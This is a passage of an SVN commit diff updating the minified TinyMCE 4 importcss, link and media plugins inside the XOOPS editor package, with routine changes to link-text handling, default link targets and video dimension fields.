o=0;o<m.length;o++)if(!m[o].filter||m[o].filter(e)){m[o].item||(m[o].item={text:m[o].title,menu:[]}),n=m[o].item.menu;break}t.formatter.register(s,i);var u=tinymce.extend({},c.control.settings.itemDefaults,{text:i.title,format:s});n?n.push(u):c.control.add(u)}l[e]=!0}}),s(m,function(t){c.control.add(t.item)}),c.control.renderNew()}),r.convertSelectorToFormat=i});
\ No newline at end of file
+tinymce.PluginManager.add("importcss",function(t){function e(t){return"string"==typeof t?function(e){return-1!==e.indexOf(t)}:t instanceof RegExp?function(e){return t.test(e)}:t}function n(e,n){function i(t,e){var o,l=t.href;if((e||c[l])&&(!n||n(l))){s(t.imports,function(t){i(t,!0)});try{o=t.cssRules||t.rules}catch(a){}s(o,function(t){t.styleSheet?i(t.styleSheet,!0):t.selectorText&&s(t.selectorText.split(","),function(t){r.push(tinymce.trim(t))})})}}var r=[],c={};s(t.contentCSS,function(t){c[t]=!0});try{s(e.styleSheets,function(t){i(t)})}catch(o){}return r}function i(e){var n,i=/^(?:([a-z0-9\-_]+))?(\.[a-z0-9_\-\.]+)$/i.exec(e);if(i){var r=i[1],s=i[2].substr(1).split(".").join(" "),c=tinymce.makeMap("a,img");return i[1]?(n={title:e},t.schema.getTextBlockElements()[r]?n.block=r:t.schema.getBlockElements()[r]||c[r.toLowerCase()]?n.selector=r:n.inline=r):i[2]&&(n={inline:"span",title:e.substr(1),classes:s}),t.settings.importcss_merge_classes!==!1?n.classes=s:n.attributes={"class":s},n}}var r=this,s=tinymce.each;t.on("renderFormatsMenu",function(c){var o=t.settings,l={},a=o.importcss_selector_converter||i,m=e(o.importcss_selector_filter);t.settings.importcss_append||c.control.items().remove();var f=[];tinymce.each(o.importcss_groups,function(t){t=tinymce.extend({},t),t.filter=e(t.filter),f.push(t)}),s(n(t.getDoc(),e(o.importcss_file_filter)),function(e){if(-1===e.indexOf(".mce-")&&!l[e]&&(!m||m(e))){var n,i=a.call(r,e);if(i){var s=i.name||tinymce.DOM.uniqueId();if(f)for(var o=0;o<f.length;o++)if(!f[o].filter||f[o].filter(e)){f[o].item||(f[o].item={text:f[o].title,menu:[]}),n=f[o].item.menu;break}t.formatter.register(s,i);var u=tinymce.extend({},c.control.settings.itemDefaults,{text:i.title,format:s});n?n.push(u):c.control.add(u)}l[e]=!0}}),s(f,function(t){c.control.add(t.item)}),c.control.renderNew()}),r.convertSelectorToFormat=i});
\ No newline at end of file
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/link/plugin.min.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/link/plugin.min.js 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/link/plugin.min.js 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1 +1 @@
-tinymce.PluginManager.add("link",function(e){function t(t){return function(){var n=e.settings.link_list;"string"==typeof n?tinymce.util.XHR.send({url:n,success:function(e){t(tinymce.util.JSON.parse(e))}}):t(n)}}function n(t){function n(e){var t=f.find("#text");(!t.value()||e.lastControl&&t.value()==e.lastControl.text())&&t.value(e.control.text()),f.find("#href").value(e.control.value())}function l(){var n=[{text:"None",value:""}];return tinymce.each(t,function(t){n.push({text:t.text||t.title,value:e.convertURL(t.value||t.url,"href"),menu:t.menu})}),n}function i(t){var n=[{text:"None",value:""}];return tinymce.each(e.settings.rel_list,function(e){n.push({text:e.text||e.title,value:e.value,selected:t===e.value})}),n}function r(t){var n=[{text:"None",value:""}];return e.settings.target_list||n.push({text:"New window",value:"_blank"}),tinymce.each(e.settings.target_list,function(e){n.push({text:e.text||e.title,value:e.value,selected:t===e.value})}),n}function a(t){var l=[];return tinymce.each(e.dom.select("a:not([href])"),function(e){var n=e.name||e.id;n&&l.push({text:n,value:"#"+n,selected:-1!=t.indexOf("#"+n)})}),l.length?(l.unshift({text:"None",value:""}),{name:"anchor",type:"listbox",label:"Anchors",values:l,onselect:n}):void 0}function o(){d&&d.value(e.convertURL(this.value(),"href")),c||0!==x.text.length||this.parent().parent().find("#text")[0].value(this.value())}var u,s,c,f,d,h,v,x={},g=e.selection,m=e.dom;u=g.getNode(),s=m.getParent(u,"a[href]"),x.text=c=s?s.innerText||s.textContent:g.getContent({format:"text"}),x.href=s?m.getAttrib(s,"href"):"",x.target=s?m.getAttrib(s,"target"):"",x.rel=s?m.getAttrib(s,"rel"):"","IMG"==u.nodeName&&(x.text=c=" "),t&&(d={type:"listbox",label:"Link list",values:l(),onselect:n,value:e.convertURL(x.href,"href"),onPostRender:function(){d=this}}),e.settings.target_list!==!1&&(v={name:"target",type:"listbox",label:"Target",values:r(x.target)}),e.settings.rel_list&&(h={name:"rel",type:"listbox",label:"Rel",values:i(x.rel)}),f=e.windowManager.open({title:"Insert link",data:x,body:[{name:"href",type:"filepicker",filetype:"file",size:40,autofocus:!0,label:"Url",onchange:o,onkeyup:o},{name:"text",type:"textbox",size:40,label:"Text to display",onchange:function(){x.text=this.value()}},a(x.href),d,h,v],onSubmit:function(t){function n(t,n){var l=e.selection.getRng();window.setTimeout(function(){e.windowManager.confirm(t,function(t){e.selection.setRng(l),n(t)})},0)}function l(){i.text!=c?s?(e.focus(),s.innerHTML=i.text,m.setAttribs(s,{href:r,target:i.target?i.target:null,rel:i.rel?i.rel:null}),g.select(s)):e.insertContent(m.createHTML("a",{href:r,target:i.target?i.target:null,rel:i.rel?i.rel:null},i.text)):e.execCommand("mceInsertLink",!1,{href:r,target:i.target,rel:i.rel?i.rel:null})}var i=t.data,r=i.href;return r?r.indexOf("@")>0&&-1==r.indexOf("//")&&-1==r.indexOf("mailto:")?(n("The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",function(e){e&&(r="mailto:"+r),l()}),void 0):/^\s*www\./i.test(r)?(n("The URL you entered seems to be an external link. Do you want to add the required http:// prefix?",function(e){e&&(r="http://"+r),l()}),void 0):(l(),void 0):(e.execCommand("unlink"),void 0)}})}e.addButton("link",{icon:"link",tooltip:"Insert/edit link",shortcut:"Ctrl+K",onclick:t(n),stateSelector:"a[href]"}),e.addButton("unlink",{icon:"unlink",tooltip:"Remove link",cmd:"unlink",stateSelector:"a[href]"}),e.addShortcut("Ctrl+K","",t(n)),this.showDialog=n,e.addMenuItem("link",{icon:"link",text:"Insert link",shortcut:"Ctrl+K",onclick:t(n),stateSelector:"a[href]",context:"insert",prependToContext:!0})});
\ No newline at end of file
+tinymce.PluginManager.add("link",function(e){function t(t){return function(){var n=e.settings.link_list;"string"==typeof n?tinymce.util.XHR.send({url:n,success:function(e){t(tinymce.util.JSON.parse(e))}}):t(n)}}function n(t){function n(e){var t=f.find("#text");(!t.value()||e.lastControl&&t.value()==e.lastControl.text())&&t.value(e.control.text()),f.find("#href").value(e.control.value())}function l(){var n=[{text:"None",value:""}];return tinymce.each(t,function(t){n.push({text:t.text||t.title,value:e.convertURL(t.value||t.url,"href"),menu:t.menu})}),n}function i(t){var n=[{text:"None",value:""}];return tinymce.each(e.settings.rel_list,function(e){n.push({text:e.text||e.title,value:e.value,selected:t===e.value})}),n}function r(t){var n=[];return e.settings.target_list||(n.push({text:"None",value:""}),n.push({text:"New window",value:"_blank"})),tinymce.each(e.settings.target_list,function(e){n.push({text:e.text||e.title,value:e.value,selected:t===e.value})}),n}function a(t){var l=[];return tinymce.each(e.dom.select("a:not([href])"),function(e){var n=e.name||e.id;n&&l.push({text:n,value:"#"+n,selected:-1!=t.indexOf("#"+n)})}),l.length?(l.unshift({text:"None",value:""}),{name:"anchor",type:"listbox",label:"Anchors",values:l,onselect:n}):void 0}function o(){h&&h.value(e.convertURL(this.value(),"href")),!c&&0===x.text.length&&k&&this.parent().parent().find("#text")[0].value(this.value())}var u,s,c,f,d,h,v,g,x={},m=e.selection,p=e.dom;u=m.getNode(),s=p.getParent(u,"a[href]");var k=!0;if(/</.test(m.getContent()))k=!1;else if(s){var y,b=s.childNodes;if(0===b.length)k=!1;else for(y=b.length-1;y>=0;y--)if(3!=b[y].nodeType){k=!1;break}}x.text=c=s?s.innerText||s.textContent:m.getContent({format:"text"}),x.href=s?p.getAttrib(s,"href"):"",x.target=s?p.getAttrib(s,"target"):e.settings.default_link_target||"",x.rel=s?p.getAttrib(s,"rel"):"",k&&(d={name:"text",type:"textbox",size:40,label:"Text to display",onchange:function(){x.text=this.value()}}),t&&(h={type:"listbox",label:"Link list",values:l(),onselect:n,value:e.convertURL(x.href,"href"),onPostRender:function(){h=this}}),e.settings.target_list!==!1&&(g={name:"target",type:"listbox",label:"Target",values:r(x.target)}),e.settings.rel_list&&(v={name:"rel",type:"listbox",label:"Rel",values:i(x.rel)}),f=e.windowManager.open({title:"Insert link",data:x,body:[{name:"href",type:"filepicker",filetype:"file",size:40,autofocus:!0,label:"Url",onchange:o,onkeyup:o},d,a(x.href),h,v,g],onSubmit:function(t){function n(t,n){var l=e.selection.getRng();window.setTimeout(function(){e.windowManager.confirm(t,function(t){e.selection.setRng(l),n(t)})},0)}function l(){s?(e.focus(),k&&i.text!=c&&(s.innerText=i.text),p.setAttribs(s,{href:r,target:i.target?i.target:null,rel:i.rel?i.rel:null}),m.select(s),e.undoManager.add()):k?e.insertContent(p.createHTML("a",{href:r,target:i.target?i.target:null,rel:i.rel?i.rel:null},p.encode(i.text))):e.execCommand("mceInsertLink",!1,{href:r,target:i.target,rel:i.rel?i.rel:null})}var i=t.data,r=i.href;return r?r.indexOf("@")>0&&-1==r.indexOf("//")&&-1==r.indexOf("mailto:")?void n("The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",function(e){e&&(r="mailto:"+r),l()}):/^\s*www\./i.test(r)?void n("The URL you entered seems to be an external link. Do you want to add the required http:// prefix?",function(e){e&&(r="http://"+r),l()}):void l():void e.execCommand("unlink")}})}e.addButton("link",{icon:"link",tooltip:"Insert/edit link",shortcut:"Ctrl+K",onclick:t(n),stateSelector:"a[href]"}),e.addButton("unlink",{icon:"unlink",tooltip:"Remove link",cmd:"unlink",stateSelector:"a[href]"}),e.addShortcut("Ctrl+K","",t(n)),this.showDialog=n,e.addMenuItem("link",{icon:"link",text:"Insert link",shortcut:"Ctrl+K",onclick:t(n),stateSelector:"a[href]",context:"insert",prependToContext:!0})});
\ No newline at end of file
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/media/plugin.min.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/media/plugin.min.js 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/media/plugin.min.js 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1 +1 @@
-tinymce.PluginManager.add("media",function(e,t){function i(e){return-1!=e.indexOf(".mp3")?"audio/mpeg":-1!=e.indexOf(".wav")?"audio/wav":-1!=e.indexOf(".mp4")?"video/mp4":-1!=e.indexOf(".webm")?"video/webm":-1!=e.indexOf(".ogg")?"video/ogg":-1!=e.indexOf(".swf")?"application/x-shockwave-flash":""}function r(t){var i=e.settings.media_scripts;if(i)for(var r=0;r<i.length;r++)if(-1!==t.indexOf(i[r].filter))return i[r]}function a(){function t(e){var t,o,c,n;t=i.find("#width")[0],o=i.find("#height")[0],c=t.value(),n=o.value(),i.find("#constrain")[0].checked()&&r&&a&&c&&n&&(e.control==t?(n=Math.round(c/r*n),o.value(n)):(c=Math.round(n/a*c),t.value(c))),r=c,a=n}var i,r,a,m;m=s(e.selection.getNode()),r=m.width,a=m.height,i=e.windowManager.open({title:"Insert/edit video",data:m,bodyType:"tabpanel",body:[{title:"General",type:"form",onShowTab:function(){m=n(this.next().find("#embed").value()),this.fromJSON(m)},items:[{name:"source1",type:"filepicker",filetype:"media",size:40,autofocus:!0,label:"Source"},{name:"source2",type:"filepicker",filetype:"media",size:40,label:"Alternative source"},{name:"poster",type:"filepicker",filetype:"image",size:40,label:"Poster"},{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:3,size:3,onchange:t},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:3,size:3,onchange:t},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}]},{title:"Embed",type:"panel",layout:"flex",direction:"column",align:"stretch",padding:10,spacing:10,onShowTab:function(){this.find("#embed").value(c(this.parent().toJSON()))},items:[{type:"label",text:"Paste your embed code below:"},{type:"textbox",flex:1,name:"embed",value:o(),multiline:!0,label:"Source"}]}],onSubmit:function(){e.insertContent(c(this.toJSON()))}})}function o(){var t=e.selection.getNode();return t.getAttribute("data-mce-object")?e.selection.getContent():void 0}function c(a){var o="";if(!a.source1&&(tinymce.extend(a,n(a.embed)),!a.source1))return"";if(a.source1=e.convertURL(a.source1,"source"),a.source2=e.convertURL(a.source2,"source"),a.source1mime=i(a.source1),a.source2mime=i(a.source2),a.poster=e.convertURL(a.poster,"poster"),a.flashPlayerUrl=e.convertURL(t+"/moxieplayer.swf","movie"),a.embed)o=m(a.embed,a,!0);else{tinymce.each(d,function(e){var t,i,r;if(t=e.regex.exec(a.source1)){for(r=e.url,i=0;t[i];i++)r=r.replace("$"+i,function(){return t[i]});a.source1=r,a.type=e.type,a.width=e.w,a.height=e.h}});var c=r(a.source1);c&&(a.type="script",a.width=c.width,a.height=c.height),a.width=a.width||300,a.height=a.height||150,tinymce.each(a,function(t,i){a[i]=e.dom.encode(t)}),"iframe"==a.type?o+='<iframe src="'+a.source1+'" width="'+a.width+'" height="'+a.height+'"></iframe>':"application/x-shockwave-flash"==a.source1mime?(o+='<object data="'+a.source1+'" width="'+a.width+'" height="'+a.height+'" type="application/x-shockwave-flash">',a.poster&&(o+='<img src="'+a.poster+'" width="'+a.width+'" height="'+a.height+'" />'),o+="</object>"):-1!=a.source1mime.indexOf("audio")?e.settings.audio_template_callback?o=e.settings.audio_template_callback(a):o+='<audio controls="controls" src="'+a.source1+'">'+(a.source2?'\n<source src="'+a.source2+'"'+(a.source2mime?' type="'+a.source2mime+'"':"")+" />\n":"")+"</audio>":"script"==a.type?o+='<script src="'+a.source1+'"></script>':o=e.settings.video_template_callback?e.settings.video_template_callback(a):'<video width="'+a.width+'" height="'+a.height+'"'+(a.poster?' poster="'+a.poster+'"':"")+' controls="controls">\n<source src="'+a.source1+'"'+(a.source1mime?' type="'+a.source1mime+'"':"")+" />\n"+(a.source2?'<source src="'+a.source2+'"'+(a.source2mime?' type="'+a.source2mime+'"':"")+" />\n":"")+"</video>"}return o}function n(e){var t={};return new tinymce.html.SaxParser({validate:!1,allow_conditional_comments:!0,special:"script,noscript",start:function(e,i){if(t.source1||"param"!=e||(t.source1=i.map.movie),("iframe"==e||"object"==e||"embed"==e||"video"==e||"audio"==e)&&(t.type||(t.type=e),t=tinymce.extend(i.map,t)),"script"==e){var a=r(i.map.src);if(!a)return;t={type:"script",source1:i.map.src,width:a.width,height:a.height}}"source"==e&&(t.source1?t.source2||(t.source2=i.map.src):t.source1=i.map.src),"img"!=e||t.poster||(t.poster=i.map.src)}}).parse(e),t.source1=t.source1||t.src||t.data,t.source2=t.source2||"",t.poster=t.poster||"",t}function s(t){return t.getAttribute("data-mce-object")?n(e.serializer.serialize(t,{selection:!0})):{}}function m(e,t,i){function r(e,t){var i,r,a,o;for(i in t)if(a=""+t[i],e.map[i])for(r=e.length;r--;)o=e[r],o.name==i&&(a?(e.map[i]=a,o.value=a):(delete e.map[i],e.splice(r,1)));else a&&(e.push({name:i,value:a}),e.map[i]=a)}var a,o=new tinymce.html.Writer,c=0;return new tinymce.html.SaxParser({validate:!1,allow_conditional_comments:!0,special:"script,noscript",comment:function(e){o.comment(e)},cdata:function(e){o.cdata(e)},text:function(e,t){o.text(e,t)},start:function(e,n,s){switch(e){case"video":case"object":case"embed":case"img":case"iframe":r(n,{width:t.width,height:t.height})}if(i)switch(e){case"video":r(n,{poster:t.poster,src:""}),t.source2&&r(n,{src:""});break;case"iframe":r(n,{src:t.source1});break;case"source":if(c++,2>=c&&(r(n,{src:t["source"+c],type:t["source"+c+"mime"]}),!t["source"+c]))return;break;case"img":if(!t.poster)return;a=!0}o.start(e,n,s)},end:function(e){if("video"==e&&i)for(var n=1;2>=n;n++)if(t["source"+n]){var s=[];s.map={},n>c&&(r(s,{src:t["source"+n],type:t["source"+n+"mime"]}),o.start("source",s,!0))}if(t.poster&&"object"==e&&i&&!a){var m=[];m.map={},r(m,{src:t.poster,width:t.width,height:t.height}),o.start("img",m,!0)}o.end(e)}},new tinymce.html.Schema({})).parse(e),o.getContent()}var d=[{regex:/youtu\.be\/([a-z1-9.-_]+)/,type:"iframe",w:425,h:350,url:"http://www.youtube.com/embed/$1"},{regex:/youtube\.com(.+)v=([^&]+)/,type:"iframe",w:425,h:350,url:"http://www.youtube.com/embed/$2"},{regex:/vimeo\.com\/([0-9]+)/,type:"iframe",w:425,h:350,url:"http://player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc"},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:"iframe",w:425,h:350,url:'http://maps.google.com/maps/ms?msid=$2&output=embed"'}];e.on("ResolveName",function(e){var t;1==e.target.nodeType&&(t=e.target.getAttribute("data-mce-object"))&&(e.name=t)}),e.on("preInit",function(){var t=e.schema.getSpecialElements();tinymce.each("video audio iframe object".split(" "),function(e){t[e]=new RegExp("</"+e+"[^>]*>","gi")}),e.schema.addValidElements("object[id|style|width|height|classid|codebase|*],embed[id|style|width|height|type|src|*],video[*],audio[*]");var i=e.schema.getBoolAttrs();tinymce.each("webkitallowfullscreen mozallowfullscreen allowfullscreen".split(" "),function(e){i[e]={}}),e.parser.addNodeFilter("iframe,video,audio,object,embed,script",function(t,i){for(var a,o,c,n,s,m,d,u,l=t.length;l--;)if(o=t[l],"script"!=o.name||(u=r(o.attr("src")))){for(c=new tinymce.html.Node("img",1),c.shortEnded=!0,u&&(u.width&&o.attr("width",u.width.toString()),u.height&&o.attr("height",u.height.toString())),m=o.attributes,a=m.length;a--;)n=m[a].name,s=m[a].value,"width"!==n&&"height"!==n&&"style"!==n&&(("data"==n||"src"==n)&&(s=e.convertURL(s,n)),c.attr("data-mce-p-"+n,s));d=o.firstChild&&o.firstChild.value,d&&(c.attr("data-mce-html",escape(d)),c.firstChild=null),c.attr({width:o.attr("width")||"300",height:o.attr("height")||("audio"==i?"30":"150"),style:o.attr("style"),src:tinymce.Env.transparentSrc,"data-mce-object":i,"class":"mce-object mce-object-"+i}),o.replace(c)}}),e.serializer.addAttributeFilter("data-mce-object",function(e,t){for(var i,r,a,o,c,n,s,m=e.length;m--;){for(i=e[m],s=i.attr(t),r=new tinymce.html.Node(s,1),"audio"!=s&&"script"!=s&&r.attr({width:i.attr("width"),height:i.attr("height")}),r.attr({style:i.attr("style")}),o=i.attributes,a=o.length;a--;){var d=o[a].name;0===d.indexOf("data-mce-p-")&&r.attr(d.substr(11),o[a].value)}"script"==s&&r.attr("type","text/javascript"),c=i.attr("data-mce-html"),c&&(n=new tinymce.html.Node("#text",3),n.raw=!0,n.value=unescape(c),r.append(n)),i.replace(r)}})}),e.on("ObjectSelected",function(e){var t=e.target.getAttribute("data-mce-object");("audio"==t||"script"==t)&&e.preventDefault()}),e.on("objectResized",function(e){var t,i=e.target;i.getAttribute("data-mce-object")&&(t=i.getAttribute("data-mce-html"),t&&(t=unescape(t),i.setAttribute("data-mce-html",escape(m(t,{width:e.width,height:e.height})))))}),e.addButton("media",{tooltip:"Insert/edit video",onclick:a,stateSelector:"img[data-mce-object=video]"}),e.addMenuItem("media",{icon:"media",text:"Insert video",onclick:a,context:"insert",prependToContext:!0})});
\ No newline at end of file
+tinymce.PluginManager.add("media",function(e,t){function i(e){return-1!=e.indexOf(".mp3")?"audio/mpeg":-1!=e.indexOf(".wav")?"audio/wav":-1!=e.indexOf(".mp4")?"video/mp4":-1!=e.indexOf(".webm")?"video/webm":-1!=e.indexOf(".ogg")?"video/ogg":-1!=e.indexOf(".swf")?"application/x-shockwave-flash":""}function r(t){var i=e.settings.media_scripts;if(i)for(var r=0;r<i.length;r++)if(-1!==t.indexOf(i[r].filter))return i[r]}function a(){function t(e){var t,o,c,n;t=i.find("#width")[0],o=i.find("#height")[0],c=t.value(),n=o.value(),i.find("#constrain")[0].checked()&&r&&a&&c&&n&&(e.control==t?(n=Math.round(c/r*n),o.value(n)):(c=Math.round(n/a*c),t.value(c))),r=c,a=n}var i,r,a,m;m=s(e.selection.getNode()),r=m.width,a=m.height,i=e.windowManager.open({title:"Insert/edit video",data:m,bodyType:"tabpanel",body:[{title:"General",type:"form",onShowTab:function(){m=n(this.next().find("#embed").value()),this.fromJSON(m)},items:[{name:"source1",type:"filepicker",filetype:"media",size:40,autofocus:!0,label:"Source"},{name:"source2",type:"filepicker",filetype:"media",size:40,label:"Alternative source"},{name:"poster",type:"filepicker",filetype:"image",size:40,label:"Poster"},{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:3,onchange:t},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:3,onchange:t},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}]},{title:"Embed",type:"panel",layout:"flex",direction:"column",align:"stretch",padding:10,spacing:10,onShowTab:function(){this.find("#embed").value(c(this.parent().toJSON()))},items:[{type:"label",text:"Paste your embed code below:"},{type:"textbox",flex:1,name:"embed",value:o(),multiline:!0,label:"Source"}]}],onSubmit:function(){e.insertContent(c(this.toJSON()))}})}function o(){var t=e.selection.getNode();return t.getAttribute("data-mce-object")?e.selection.getContent():void 0}function c(a){var o="";if(!a.source1&&(tinymce.extend(a,n(a.embed)),!a.source1))return"";if(a.source1=e.convertURL(a.source1,"source"),a.source2=e.convertURL(a.source2,"source"),a.source1mime=i(a.source1),a.source2mime=i(a.source2),a.poster=e.convertURL(a.poster,"poster"),a.flashPlayerUrl=e.convertURL(t+"/moxieplayer.swf","movie"),a.embed)o=m(a.embed,a,!0);else{tinymce.each(d,function(e){var t,i,r;if(t=e.regex.exec(a.source1)){for(r=e.url,i=0;t[i];i++)r=r.replace("$"+i,function(){return t[i]});a.source1=r,a.type=e.type,a.width=a.width||e.w,a.height=a.height||e.h}});var c=r(a.source1);c&&(a.type="script",a.width=c.width,a.height=c.height),a.width=a.width||300,a.height=a.height||150,tinymce.each(a,function(t,i){a[i]=e.dom.encode(t)}),"iframe"==a.type?o+='<iframe src="'+a.source1+'" width="'+a.width+'" height="'+a.height+'"></iframe>':"application/x-shockwave-flash"==a.source1mime?(o+='<object data="'+a.source1+'" width="'+a.width+'" height="'+a.height+'" type="application/x-shockwave-flash">',a.poster&&(o+='<img src="'+a.poster+'" width="'+a.width+'" height="'+a.height+'" />'),o+="</object>"):-1!=a.source1mime.indexOf("audio")?e.settings.audio_template_callback?o=e.settings.audio_template_callback(a):o+='<audio controls="controls" src="'+a.source1+'">'+(a.source2?'\n<source src="'+a.source2+'"'+(a.source2mime?' type="'+a.source2mime+'"':"")+" />\n":"")+"</audio>":"script"==a.type?o+='<script src="'+a.source1+'"></script>':o=e.settings.video_template_callback?e.settings.video_template_callback(a):'<video width="'+a.width+'" height="'+a.height+'"'+(a.poster?' poster="'+a.poster+'"':"")+' controls="controls">\n<source src="'+a.source1+'"'+(a.source1mime?' type="'+a.source1mime+'"':"")+" />\n"+(a.source2?'<source src="'+a.source2+'"'+(a.source2mime?' type="'+a.source2mime+'"':"")+" />\n":"")+"</video>"}return o}function n(e){var t={};return new tinymce.html.SaxParser({validate:!1,allow_conditional_comments:!0,special:"script,noscript",start:function(e,i){if(t.source1||"param"!=e||(t.source1=i.map.movie),("iframe"==e||"object"==e||"embed"==e||"video"==e||"audio"==e)&&(t.type||(t.type=e),t=tinymce.extend(i.map,t)),"script"==e){var a=r(i.map.src);if(!a)return;t={type:"script",source1:i.map.src,width:a.width,height:a.height}}"source"==e&&(t.source1?t.source2||(t.source2=i.map.src):t.source1=i.map.src),"img"!=e||t.poster||(t.poster=i.map.src)}}).parse(e),t.source1=t.source1||t.src||t.data,t.source2=t.source2||"",t.poster=t.poster||"",t}function s(t){return t.getAttribute("data-mce-object")?n(e.serializer.serialize(t,{selection:!0})):{}}function m(e,t,i){function r(e,t){var i,r,a,o;for(i in t)if(a=""+t[i],e.map[i])for(r=e.length;r--;)o=e[r],o.name==i&&(a?(e.map[i]=a,o.value=a):(delete e.map[i],e.splice(r,1)));else a&&(e.push({name:i,value:a}),e.map[i]=a)}var a,o=new tinymce.html.Writer,c=0;return new tinymce.html.SaxParser({validate:!1,allow_conditional_comments:!0,special:"script,noscript",comment:function(e){o.comment(e)},cdata:function(e){o.cdata(e)},text:function(e,t){o.text(e,t)},start:function(e,n,s){switch(e){case"video":case"object":case"embed":case"img":case"iframe":r(n,{width:t.width,height:t.height})}if(i)switch(e){case"video":r(n,{poster:t.poster,src:""}),t.source2&&r(n,{src:""});break;case"iframe":r(n,{src:t.source1});break;case"source":if(c++,2>=c&&(r(n,{src:t["source"+c],type:t["source"+c+"mime"]}),!t["source"+c]))return;break;case"img":if(!t.poster)return;a=!0}o.start(e,n,s)},end:function(e){if("video"==e&&i)for(var n=1;2>=n;n++)if(t["source"+n]){var s=[];s.map={},n>c&&(r(s,{src:t["source"+n],type:t["source"+n+"mime"]}),o.start("source",s,!0))}if(t.poster&&"object"==e&&i&&!a){var m=[];m.map={},r(m,{src:t.poster,width:t.width,height:t.height}),o.start("img",m,!0)}o.end(e)}},new tinymce.html.Schema({})).parse(e),o.getContent()}var d=[{regex:/youtu\.be\/([a-z1-9.-_]+)/,type:"iframe",w:425,h:350,url:"http://www.youtube.com/embed/$1"},{regex:/youtube\.com(.+)v=([^&]+)/,type:"iframe",w:425,h:350,url:"http://www.youtube.com/embed/$2"},{regex:/vimeo\.com\/([0-9]+)/,type:"iframe",w:425,h:350,url:"http://player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc"},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:"iframe",w:425,h:350,url:'http://maps.google.com/maps/ms?msid=$2&output=embed"'}];e.on("ResolveName",function(e){var t;1==e.target.nodeType&&(t=e.target.getAttribute("data-mce-object"))&&(e.name=t)}),e.on("preInit",function(){var t=e.schema.getSpecialElements();tinymce.each("video audio iframe object".split(" "),function(e){t[e]=new RegExp("</"+e+"[^>]*>","gi")}),e.schema.addValidElements("object[id|style|width|height|classid|codebase|*],embed[id|style|width|height|type|src|*],video[*],audio[*]");var i=e.schema.getBoolAttrs();tinymce.each("webkitallowfullscreen mozallowfullscreen allowfullscreen".split(" "),function(e){i[e]={}}),e.parser.addNodeFilter("iframe,video,audio,object,embed,script",function(t,i){for(var a,o,c,n,s,m,d,u,l=t.length;l--;)if(o=t[l],"script"!=o.name||(u=r(o.attr("src")))){for(c=new tinymce.html.Node("img",1),c.shortEnded=!0,u&&(u.width&&o.attr("width",u.width.toString()),u.height&&o.attr("height",u.height.toString())),m=o.attributes,a=m.length;a--;)n=m[a].name,s=m[a].value,"width"!==n&&"height"!==n&&"style"!==n&&(("data"==n||"src"==n)&&(s=e.convertURL(s,n)),c.attr("data-mce-p-"+n,s));d=o.firstChild&&o.firstChild.value,d&&(c.attr("data-mce-html",escape(d)),c.firstChild=null),c.attr({width:o.attr("width")||"300",height:o.attr("height")||("audio"==i?"30":"150"),style:o.attr("style"),src:tinymce.Env.transparentSrc,"data-mce-object":i,"class":"mce-object mce-object-"+i}),o.replace(c)}}),e.serializer.addAttributeFilter("data-mce-object",function(e,t){for(var i,r,a,o,c,n,s,m=e.length;m--;){for(i=e[m],s=i.attr(t),r=new tinymce.html.Node(s,1),"audio"!=s&&"script"!=s&&r.attr({width:i.attr("width"),height:i.attr("height")}),r.attr({style:i.attr("style")}),o=i.attributes,a=o.length;a--;){var d=o[a].name;0===d.indexOf("data-mce-p-")&&r.attr(d.substr(11),o[a].value)}"script"==s&&r.attr("type","text/javascript"),c=i.attr("data-mce-html"),c&&(n=new tinymce.html.Node("#text",3),n.raw=!0,n.value=unescape(c),r.append(n)),i.replace(r)}})}),e.on("ObjectSelected",function(e){var t=e.target.getAttribute("data-mce-object");("audio"==t||"script"==t)&&e.preventDefault()}),e.on("objectResized",function(e){var t,i=e.target;i.getAttribute("data-mce-object")&&(t=i.getAttribute("data-mce-html"),t&&(t=unescape(t),i.setAttribute("data-mce-html",escape(m(t,{width:e.width,height:e.height})))))}),e.addButton("media",{tooltip:"Insert/edit video",onclick:a,stateSelector:"img[data-mce-object=video]"}),e.addMenuItem("media",{icon:"media",text:"Insert video",onclick:a,context:"insert",prependToContext:!0})});
\ No newline at end of file
Modified: ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/noneditable/plugin.min.js
===================================================================
--- ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/noneditable/plugin.min.js 2014-02-07 21:20:20 UTC (rev 12292)
+++ ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/tinymce4/tinymce/js/tinymce/plugins/noneditable/plugin.min.js 2014-02-10 01:29:21 UTC (rev 12293)
@@ -1 +1 @@
